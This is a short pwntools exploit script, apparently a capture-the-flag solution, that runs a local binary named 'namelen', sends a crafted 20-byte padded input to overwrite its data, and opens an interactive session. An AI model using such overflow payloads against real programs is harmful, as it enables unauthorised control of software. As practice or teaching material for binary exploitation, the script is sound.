17 lines
230 B
Python
17 lines
230 B
Python
#!/usr/bin/python3
|
|
|
|
from pwn import *
|
|
|
|
context.binary = target = ELF("./namelen", checksec=False)
|
|
r = process()
|
|
|
|
# funcs
|
|
s = lambda a: r.sendline(a)
|
|
|
|
# buf
|
|
buf = b"A"*7
|
|
buf += b"i"
|
|
buf += b"A"*(20-len(buf))
|
|
s(buf)
|
|
|
|
r.interactive() |